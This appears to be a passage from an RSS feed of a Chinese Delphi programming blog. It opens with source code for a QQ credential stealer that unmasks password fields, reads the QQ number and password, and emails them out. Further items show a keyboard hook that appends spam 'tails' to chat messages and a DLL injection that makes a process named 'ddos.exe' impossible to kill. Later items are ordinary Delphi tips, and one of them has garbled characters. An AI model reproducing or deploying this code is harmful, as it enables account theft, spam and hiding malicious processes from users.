GetPassWord<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; iPwdLast := 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; i := 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; while iPwdLast = 0 do<br/>&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PostMessage(HWnd, EM_SETPASSWORDCHAR, 0, 0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(i);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; iPwdLast := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if i &gt; 100 then break;<br/>&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp;&nbsp;&nbsp; SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));<br/>&nbsp;&nbsp;&nbsp;&nbsp; Result := psText;<br/>&nbsp;&nbsp;&nbsp;&nbsp; PostMessage(HWnd, EM_SETPASSWORDCHAR, iPwdChar, 0);<br/>&nbsp;&nbsp; end else begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));<br/>&nbsp;&nbsp;&nbsp;&nbsp; Result := psText;<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>//--------------------------------------------------------------------<br/>//检查QQ窗口有多少个EDIT控件,用此可以判断QQ的版本号<br/><br/>function GetEditCount(theFormHandle: hwnd): integer;<br/>var<br/>&nbsp;&nbsp; t: hwnd;<br/>&nbsp;&nbsp; szname: array[0..254] of char;<br/>begin<br/>&nbsp;&nbsp; t := GetWindow(theFormHandle, GW_CHILD);<br/>&nbsp;&nbsp; while t &lt;&gt; 0 do<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; result := 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; GetClassName(t, @szname, 255);<br/>&nbsp;&nbsp;&nbsp;&nbsp; GetEditCount(t);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; if strpas(szname) = &#39;Edit&#39; then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(Editcount);<br/>&nbsp;&nbsp;&nbsp;&nbsp; if Editcount &gt; 62 then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br/>&nbsp;&nbsp;&nbsp;&nbsp; t := GetWindow(t, GW_HWNDNEXT);<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>//--------------------------------------------------------------------<br/>//找QQ2000中的句柄<br/>//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br/><br/>function FindQQ2000Edit(theFormHandle: hwnd): integer;<br/>var<br/>&nbsp;&nbsp; t: hwnd;<br/>&nbsp;&nbsp; szname: array[0..254] of char;<br/>begin<br/>&nbsp;&nbsp; t := GetWindow(theFormHandle, GW_CHILD);<br/>&nbsp;&nbsp; while t &lt;&gt; 0 do<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; result := 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; GetClassName(t, @szname, 255);<br/>&nbsp;&nbsp;&nbsp;&nbsp; GetEditCount(t);<br/>&nbsp;&nbsp;&nbsp;&nbsp; if strpas(szname) = &#39;ComboBox&#39; then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; QQIDHandle := t<br/>&nbsp;&nbsp;&nbsp;&nbsp; else if (strpas(szname) = &#39;Edit&#39;) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; QQPasswordHandle := t;<br/>&nbsp;&nbsp;&nbsp;&nbsp; t := GetWindow(t, GW_HWNDNEXT);<br/>&nbsp;&nbsp; end;<br/>end;<br/>//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br/><br/><br/>//--------------------------------------------------------------------<br/>//找QQ2003中的句柄<br/><br/>function FindQQ2003Edit(theFormHandle: hwnd): integer;<br/>var<br/>&nbsp;&nbsp; t: hwnd;<br/>&nbsp;&nbsp; szname: array[0..254] of char;<br/>begin<br/>&nbsp;&nbsp; t := GetWindow(theFormHandle, GW_CHILD);<br/>&nbsp;&nbsp; while t &lt;&gt; 0 do<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; result := 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; GetClassName(t, @szname, 255);<br/>&nbsp;&nbsp;&nbsp;&nbsp; FindQQ2003Edit(t);<br/>&nbsp;&nbsp;&nbsp;&nbsp; if strpas(szname) = &#39;Edit&#39; then<br/>&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(Count);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if EditCount &lt; 8 then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Count of<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1: QQIDHandle := t;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2: QQPasswordHandle := t;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3: break;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if EditCount &gt; 61 then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Count of<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 49: QQIDHandle := t;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 50: QQPasswordHandle := t;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 51: break;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Count of<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 30:&nbsp;&nbsp; QQPasswordHandle:= t;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 61: begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; QQIDHandle := t;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp;&nbsp;&nbsp; t := GetWindow(t, GW_HWNDNEXT);<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>//--------------------------------------------------------------------<br/>//找QQ登录窗口的句柄<br/><br/>function FindQQHandle(hWindows: HWND): integer;<br/>var<br/>&nbsp;&nbsp; hcrrentwindow: hwnd;<br/>&nbsp;&nbsp; sztext: array[0..254] of char;<br/>&nbsp;&nbsp; s: string;<br/>begin<br/>&nbsp;&nbsp; Result := 0;<br/>&nbsp;&nbsp; hcrrentwindow := GetWindow(hWindows, GW_HWNDFIRST);<br/>&nbsp;&nbsp; while hcrrentwindow &lt;&gt; 0 do<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; if GetWindowtext(hcrrentwindow, @sztext, 255) &gt; 0 then<br/>&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s := strpas(@sztext);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if trim(s) = &#39;&#39; then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result := hcrrentwindow;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end ;<br/>&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp;&nbsp;&nbsp; hcrrentwindow := GetWindow(hcrrentwindow, GW_HWNDNEXT);<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>procedure GoOnMonitorPasswordAndQQNumber;<br/>var<br/>&nbsp;&nbsp; tempRect: TRect;<br/>&nbsp;&nbsp; Rightpassword: boolean;<br/>begin<br/>&nbsp;&nbsp; QQhandle := FindQQHandle(Handle);<br/>&nbsp;&nbsp; if QQHandle &lt;&gt; 0 then<br/>&nbsp;&nbsp; begin<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; GetWindowRect(QQhandle, tempRect);<br/>&nbsp;&nbsp;&nbsp;&nbsp; if oldWidth &lt;&gt; tempRect.Right - tempRect.Left then<br/>&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; isFind := true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<br/>&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp;&nbsp;&nbsp; QQID := GetIDandPassword(QQIDHandle); // ,false<br/>&nbsp;&nbsp;&nbsp;&nbsp; QQPassword := GetIDandPassword(QQPasswordHandle); //&nbsp;&nbsp; ,true<br/>&nbsp;&nbsp;&nbsp;&nbsp;// MessageBox(0, pchar(QQID+#13#10+QQPassword), &#39;提示&#39;, MB_OK + MB_ICONINFORMATION);<br/>&nbsp;&nbsp;&nbsp;&nbsp; Rightpassword := true;<br/>&nbsp;&nbsp;&nbsp;&nbsp; try StrToInt(QQID)except Rightpassword := false; end; //过滤无效的QQID<br/>&nbsp;&nbsp;&nbsp;&nbsp; if Rightpassword then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((QQID &lt;&gt; oldQQID) o&#114; (QQPassword &lt;&gt; oldQQPassword)) and (QQID &lt;&gt; &#39;&#39;) and (QQPassword &lt;&gt; &#39;&#39;) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EmailBody := EmailBody + format(&#39;QQ号码：%s&#39; + #13#10 + &#39;QQ密码：%s&#39; + #13#10,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [QQID, QQPassword]);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; oldQQID := QQID;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; oldQQPassword := QQPassword;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<br/>&nbsp;&nbsp; end<br/>&nbsp;&nbsp; else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; isFind := true;<br/>&nbsp;&nbsp;&nbsp;&nbsp; SendMail;<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>procedure FindQQWindowForAnyVersion;<br/>var<br/>&nbsp;&nbsp; tempRect: TRect;<br/>begin<br/>&nbsp;&nbsp; QQhandle := FindQQHandle(Handle);<br/>&nbsp;&nbsp; if QQHandle &lt;&gt; 0 then<br/>&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp; IsFind := false;<br/>&nbsp;&nbsp;&nbsp;&nbsp; GetWindowRect(QQhandle, tempRect);<br/>&nbsp;&nbsp;&nbsp;&nbsp; oldWidth := tempRect.Right - tempRect.Left;<br/>&nbsp;&nbsp;&nbsp;&nbsp; EmailBody := &#39;&#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp; QQID := &#39;&#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp; QQPassword := &#39;&#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp; oldQQID := &#39;&#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp; oldQQPassword := &#39;&#39;;<br/>&nbsp;&nbsp;&nbsp;&nbsp; EditCount := 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; Count := 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp; GetEditCount(QQHandle);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// MessageBox(0, pchar(inttostr(EditCount)), &#39;提示&#39;, MB_OK + MB_ICONINFORMATION);<br/>&nbsp;&nbsp;&nbsp;&nbsp; if EditCount = 1 then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindQQ2000Edit(QQHandle)<br/>&nbsp;&nbsp;&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FindQQ2003Edit(QQHandle);<br/>&nbsp;&nbsp; end;<br/>end;<br/><br/>end.<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.17benteng.com/article.asp?id=67</link>
			<title><![CDATA[delphi,实现QQ尾巴钓子]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Wed,23 Jul 2008 20:25:36 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=67</guid>
		<description><![CDATA[uses<br/>Windows,SysUtils,Messages,Registry,ShlObj,Types,Classes;<br/>const<br/>LLKHF_ALTDOWN =KF_ALTDOWN shr 8;<br/>WH_KEYBOARD_LL=13; //钩子种类，表示是低级键盘钩子 <br/><br/>type<br/>PKBDLLHOOKSTRUCT=^KBDLLHOOKSTRUCT;<br/>{这个结构包含了一个低级键盘钩子的输入事件，<br/>可以捕获键盘输入，具体查看MSDN}<br/>KBDLLHOOKSTRUCT=record<br/>vkCode:DWORD; //虚拟键码<br/>scanCode:DWORD; //扫描码<br/>flags:DWORD; //标志<br/>time:DWORD;<br/>dwExtraInfo:DWORD; //一些附加信息<br/>end;<br/><br/>//------------------发送消息的过程-------------------//<br/>Procedure SendText;<br/>var<br/>mainhwnd:THandle; //聊天主窗体句柄<br/>texhwnd:THandle; //输入框句柄<br/>begin<br/>mainhwnd:=0;<br/>//查找当前的工作状态的窗体，#32770是窗口类<br/>mainhwnd:=FindWindowEx(GetForegroundWindow,mainhwnd,&#39;#32770&#39;,nil);<br/>if mainhwnd&lt;&gt;0 then<br/>begin<br/>//查找输入框的句柄<br/>texhwnd:=FindWindowEx(mainhwnd,0,&#39;AfxWnd42&#39;,nil);<br/>texhwnd:=FindWindowEx(texhwnd,0,&#39;RICHEDIT&#39;,nil);<br/>//如果输入框里没有消息就取消发送<br/>if SendMessage(texhwnd,WM_GETTEXTLENGTH,0,0)&lt;1 then exit;<br/>//取消输入框中文本的选中<br/>SendMessage(texhwnd,EM_SetSel,-1,-1);<br/>//向输入框中加入尾巴<br/>SendMessage(texhwnd,EM_ReplaceSel,1,integer(pchar(&#39; &#39;+&#39;QQ尾巴 by Sirius!&#39;)));<br/>end;<br/>end;//----------------------------end.<br/><br/>//-------------------钩子的回调函数----------------//<br/>function KeyHookFunc(nCode:Integer;w_Param:WPARAM;l_Param:LPARAM):LRESULT;stdcall;<br/>const VK_S=83; //Alt+S中的S的虚拟键码，在虚拟键码表上可以查看<br/>var<br/>bGetMsg:Boolean; //判断是否截获指定的消息<br/>pk:PKBDLLHOOKSTRUCT; //键盘钩子的结构体<br/>begin<br/>bGetMsg:=False;<br/>if nCode=HC_ACTION then<br/>begin<br/>case w_Param of //要截获的消息标识符，包括KeyDown和KeyUp<br/>WM_KEYDOWN, {MSDN中有详细说明}<br/>WM_SYSKEYDOWN,<br/>WM_KEYUP,<br/>WM_SYSKEYUP:<br/>begin<br/>//将消息包含的数据装入pk<br/>pk:=PKBDLLHOOKSTRUCT(l_Param);<br/>// 进行按键过滤<br/>bGetMsg :=(((pk^.vkCode = VK_S) and<br/>((pk^.flags and LLKHF_ALTDOWN) &lt;&gt; 0)) o&#114;<br/>//上面截获的是Alt+S<br/>((pk^.vkCode = VK_RETURN) and<br/>((GetKeyState(VK_CONTROL) and $8000) &lt;&gt; 0)));<br/>//上面截获的是Ctrl+Enter<br/>end;<br/>end;<br/>end;<br/>if bGetMsg then<br/>begin<br/>SendText; //截获消息后向输入框里加上尾巴<br/>Result:=0; //将消息返回，尾巴就和别人输入的数据一起发送出去了<br/>end<br/>//如果没有截获指定消息就将向下传递<br/>else Result:=CallNextHookEx(0,nCode,w_Param,l_Param);<br/>end;//----------------------------end.<br/><br/>//-------------------------下钩子<br/>KeyHook:=SetWindowsHookEx(WH_KEYBOARD_LL,<br/>@KeyHookFunc,<br/>HInstance,0<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.17benteng.com/article.asp?id=66</link>
			<title><![CDATA[Hook API 之进程保护]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Wed,23 Jul 2008 20:21:23 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=66</guid>
		<description><![CDATA[Hook API－之进程保护2007-09-14 11:52用过卡巴斯基的朋友都知道，卡巴斯基的进程是无法杀掉的，在任务管理器中杀卡巴进程的话，会弹出一个消息框提示拒绝访问！那么这是怎么实现的呢？很简单，就是使用了HOOK API的方法。<br/><br/>我用delphi来写程序好了，先写个dll。<br/><br/><br/>const&nbsp;&nbsp;<br/>PRG_NAME = &#39;ddos.exe&#39;;<br/><br/>var TerminateProcessNext : function (processHandle, exitCode: dword) : bool; stdcall;&nbsp;&nbsp;<br/>NtTerminateProcessNext : function (processHandle, exitCode: dword) : dword; stdcall;&nbsp;&nbsp;<br/><br/><br/>{$R *.res}<br/>function ThisIsOurProcess(processHandle: dword) : boolean;&nbsp;&nbsp;<br/>var pid : dword;&nbsp;&nbsp;<br/>arrCh : array [0..MAX_PATH] of char;&nbsp;&nbsp;<br/>begin&nbsp;&nbsp;<br/>pid := ProcessHandleToId(processHandle);&nbsp;&nbsp;<br/>result := (pid &lt;&gt; 0) and ProcessIdToFileName(pid, arrCh) and&nbsp;&nbsp;<br/>(PosText(PRG_NAME, arrCh) &gt; 0);&nbsp;&nbsp;<br/>end;&nbsp;&nbsp;<br/><br/>function TerminateProcessCallback(processHandle, exitCode: dword) : bool; stdcall;&nbsp;&nbsp;<br/>begin&nbsp;&nbsp;<br/>if ThisIsOurProcess(processHandle) then&nbsp;&nbsp;<br/>begin&nbsp;&nbsp;<br/>result := false;&nbsp;&nbsp;<br/>SetLastError(ERROR_ACCESS_DENIED);&nbsp;&nbsp;<br/>end&nbsp;&nbsp;<br/>else&nbsp;&nbsp;<br/>result := TerminateProcessNext(processHandle, exitCode);&nbsp;&nbsp;<br/><br/>end;&nbsp;&nbsp;<br/><br/>function NtTerminateProcessCallback(processHandle, exitCode: dword) : dword; stdcall;&nbsp;&nbsp;<br/>const STATUS_ACCESS_DENIED = $C0000022;&nbsp;&nbsp;<br/>begin&nbsp;&nbsp;<br/>if ThisIsOurProcess(processHandle) then&nbsp;&nbsp;<br/>begin&nbsp;&nbsp;<br/>result := STATUS_ACCESS_DENIED&nbsp;&nbsp;<br/>end&nbsp;&nbsp;<br/>else&nbsp;&nbsp;<br/>result := NtTerminateProcessNext(processHandle, exitCode);&nbsp;&nbsp;<br/>end;&nbsp;&nbsp;<br/><br/>begin<br/>if GetVersion and $80000000 = 0 then&nbsp;&nbsp;<br/>HookAPI( &#39;ntdll.dll&#39;, &#39;NtTerminateProcess&#39;, @NtTerminateProcessCallback, @NtTerminateProcessNext)&nbsp;&nbsp;<br/>else HookAPI(&#39;kernel32.dll&#39;, &#39;TerminateProcess&#39;, @TerminateProcessCallback, @TerminateProcessNext);&nbsp;&nbsp;<br/>end.<br/><br/>再写个exe调用这个dll，把这个dll插入到系统进程中去。<br/>procedure inject;&nbsp;&nbsp;<br/>begin&nbsp;&nbsp;<br/>try&nbsp;&nbsp;<br/>if not InjectLibrary((CURRENT_SESSION o&#114; CURRENT_PROCESS), &#39;hook.dll&#39;) then&nbsp;&nbsp;<br/>begin<br/>ExitProcess(0); //如果没有把hook.dll插入到进程中去，那么程序就自动关闭<br/>end;&nbsp;&nbsp;<br/>except&nbsp;&nbsp;<br/>//&nbsp;&nbsp;<br/>end;&nbsp;&nbsp;<br/>end;<br/><br/><br/>procedure uninject; //把hook.dll从插入的进程中卸载掉<br/>begin&nbsp;&nbsp;<br/>try&nbsp;&nbsp;<br/>UninjectLibrary((CURRENT_SESSION o&#114; CURRENT_PROCESS), &#39;hook.dll&#39;);<br/>except&nbsp;&nbsp;<br/>end;&nbsp;&nbsp;<br/>end;&nbsp;&nbsp;<br/><br/><br/>procedure TForm1.FormCr&#101;ate(Sender: TObject);<br/>begin<br/>inject; //程序一启动就插入dll<br/>end;<br/><br/>procedure TForm1.FormDestroy(Sender: TObject);<br/>begin<br/>uninject; //程序退出把dll从进程中卸载，保护进程功能也就失效了。<br/>end;<br/> <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.17benteng.com/article.asp?id=55</link>
			<title><![CDATA[Delphi嵌入式汇编一例]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Fri,27 Jun 2008 17:14:01 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=55</guid>
		<description><![CDATA[用delphi写的程序，把x指针指向的4个字节次序颠倒过来：<br/>function toulong(x: pchar): longword;<br/>begin<br/>&nbsp;&nbsp; result := (longword(x^) shl 24) o&#114;<br/>&nbsp;&nbsp;&nbsp;&nbsp; (longword((x + 1)^) shl 16) o&#114;<br/>&nbsp;&nbsp;&nbsp;&nbsp; (longword((x + 2)^) shl 8) o&#114;<br/>&nbsp;&nbsp;&nbsp;&nbsp; (longword((x + 3)^));<br/>end;<br/><br/>以下是用delphi的嵌入式汇编写法：<br/>function toulong(x: pchar): longword;<br/>asm<br/>&nbsp;&nbsp; mov esi,eax<br/>&nbsp;&nbsp; mov ax,[esi]<br/>&nbsp;&nbsp; xchg ah,al<br/>&nbsp;&nbsp; shl eax,16<br/>&nbsp;&nbsp; mov ax,[esi+2]<br/>&nbsp;&nbsp; xchg ah,al<br/>end;<br/><br/>说明：默认情况下，delphi使用“register”方式，若参数在3个已内，<br/>将分别使用eax、edx和ecx，超过3个参数部分将使用堆栈。返回参数的<br/>存放视长度而定，例如8位用al返回，16位用ax，32位用eax，64位用用两个<br/>32位寄存器edx:eax，其中eax是低位。 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.17benteng.com/article.asp?id=54</link>
			<title><![CDATA[Delphi编程技巧十则]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Fri,27 Jun 2008 17:12:46 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=54</guid>
		<description><![CDATA[Delphi作为一门新起的Windows编程语言，由于其集<br/>众多的优秀特性于一身，因而越来越得到广大编程人员和<br/>发烧友的青睐。以下十则技巧涉及的面比较广泛，希望能<br/>够对Delphi的爱好者有所裨益。<br/><br/>　　1．类似于vb．中的doevents功能。<br/><br/>　　大家或许发现，在Delphi中没有类似于vb．中的doev<br/>ents函数，这样有的时候，我们将无法使Windows响应多<br/>个同时发生的事件。其实，在Delphi的applica??tion对象<br/>中包括类似的一个方法：ProcessMessage，你可以通过调<br/>用Application．ProcessMessage来完成象vb．中的doeve<br/>nts一样的功能。<br/><br/>　　2．在Delphi中调用NetscapeNavigator。<br/><br/>　　随着Internet的火爆，有没有想过在你的Delphi程序<br/>中启动Netscape浏览器，显示出你指定的WWW地址的主页<br/>。下面这个程序能够完成这一功能。<br/><br/>　　programNetscape；<br/><br/>　　usesDDEMan；<br/><br/>　　procedureGo??toURL（sURL：string）；<br/><br/>　　var<br/><br/>　　dde：TDDEClientConv；<br/><br/>　　begin<br/><br/>　　dde：ΚTDDEClientConv．Cr&#101;ate（nil）；<br/><br/>　　withddedo<br/><br/>　　begin<br/><br/>　　／／specifythelocationofnetscape．exe<br/><br/>　　ServiceApplication：Κ′c：ιns32ιprogramιne<br/>tscape．exe′；<br/><br/>　　／／activatetheNetscapeNavigator<br/><br/>　　SetLink（′Netscape′，′WWW―Activate′）；<br/><br/>　　RequestData（′0xFFFFFFFF′）；<br/><br/>　　／／gotothespecifiedURL<br/><br/>　　SetLink（′Netscape′，′WWW―OpenURL′）；<br/><br/>　　RequestData（sURL＋′，，0xFFFFFFFF，0x3，，，<br/>′）；<br/><br/>　　CloseLink；<br/><br/>　　end；<br/><br/>　　dde．Free；<br/><br/>　　end；<br/><br/>　　begin<br/><br/>　　GotoURL（′http：／／www．yahoo．com／′）；<br/><br/>　　end．<br/><br/>　　3．格式化整数输出。<br/><br/>　　比较大的数字在输出时会显得不易阅读，在Delphi中<br/>显示带分节号的数字是相当简单的一件事，如下即可：xx<br/>xxx．caption：ΚFormatFloat（′＃′，524667500）。<br/><br/><br/>　　4．在编译时获得提示。<br/><br/>　　在Delphi2．0中，编译时，可以让编译器告诉你一些<br/>提示，比如哪些变量声明了，却从来没有使用过。我们知<br/>道，可以通过菜单中的选项来控制是否要Delphi这样做，<br/>但如果由于一些特殊需要，你只要在指定的代码段需要De<br/>lphi这样的提示，怎么办呢？请参考如下的程序。<br/><br/>　　｛＄HINTON｝<br/><br/>　　procedureTform1．Button1Click（Sender：TObject<br/>）；<br/><br/>　　var<br/><br/>　　X：integer；<br/><br/>　　begin<br/><br/>　　end；<br/><br/>　　｛＄HINTOFF｝<br/><br/>　　5．更改Windows95的墙纸。<br/><br/>　　在Delphi中你可以很方便地更改墙纸，请参考以下的<br/>程序。<br/><br/>　　procedureChangeIt；<br/><br/>　　var<br/><br/>　　Reg：TregIniFile；<br/><br/>　　begin<br/><br/>　　Reg：ΚTRegIniFile．Cr&#101;ate（′ControlPanel′）<br/>；<br/><br/>　　Reg．WriteString（′desktop′，′Wallpaper′，<br/>′c：ιpwin95ιfor??est．bmp′）；<br/><br/>　　Reg．WriteString（′desktop′，′TileWallpaper<br/>′，′1′）；<br/><br/>　　Reg．Free；<br/><br/>　　SystemParametersInfo（SPI―SETDESKWALLPAPER，0<br/>，nil，SPIF―SENDWININICHANGE）；<br/><br/>　　end；<br/><br/>　　6．获得最后使用文件的日期。<br/><br/>　　在Win95中有一项新的功能，就是可以获得访问文件<br/>的最后日期。著名的CleanSweapforWin95软件中就是靠这<br/>一功能来作为判断某个文件是否被经常访问的依据之一。<br/>在Delphi中，我们可以通过下面的程序来达到此功能。<br/><br/>　　functionGetFileLastAccessTime（sFileName：stri<br/>ng）：TDate??Time；<br/><br/>　　var<br/><br/>　　ffd：TWin32FindData；<br/><br/>　　dft：DWord；<br/><br/>　　lft：TFileTime；<br/><br/>　　h：THandle；<br/><br/>　　begin<br/><br/>　　／／getfileinformation<br/><br/>　　h：ΚWindows．FindFirstFile（PChar（sFileName<br/>），ffd）；<br/><br/>　　if（INVALID―HANDLE―VALUEΙΛh）then<br/><br/>　　begin<br/><br/>　　／／we′relookingforjustonefile，socloseour″f<br/>ind″<br/><br/>　　Windows．FindClose（h）；<br/><br/>　　／／converttheFILETIMEtolocalFILETIME<br/><br/>　　FileTimeToLocalFileTime（ffd．ftLastAccessTime<br/>，lft）；<br/><br/>　　／／convertFILETIMEtoDOStime<br/><br/>　　FileTimeToDosDateTime（lft，LongRec（dft）．Hi<br/>，LongRec（dft）．Lo）；<br/><br/>　　／／finally，convertDOStimetoTDateTimeforusein<br/>Delphi′snativedate／timefunctions<br/><br/>　　Result：ΚFileDateToDateTime（dft）；<br/><br/>　　end；<br/><br/>　　end；<br/><br/>　　GetFileLastAccessTime（）将会以Delphi的TdateTi<br/>me格式返回你所指定的文件的最后访问日期。<br/><br/>　　7．丰富多彩的标签。<br/><br/>　　我们已经不满足于Delphi提供的简单的标签，能不能<br/>在标签中有不同的字体，有不同的颜色，以此来丰富我们<br/>的表现能力。回答是肯定的，并且用不着第三方提供的控<br/>件，我们只要巧妙的利用Delphi自己提供的TRichEdit就<br/>可以了。首先将TRichEdit控件的边框去除：RichEd??it1<br/>．BorderStyle：ΚbsNone；同时设置只读属性为真：Rich<br/>Ed??it1．ReadOnly：ΚTrue；然后，你利用write之类的<br/>软件制作好RichText格式的文本，通过以下语句就可以显<br/>示出来了：<br/><br/>　　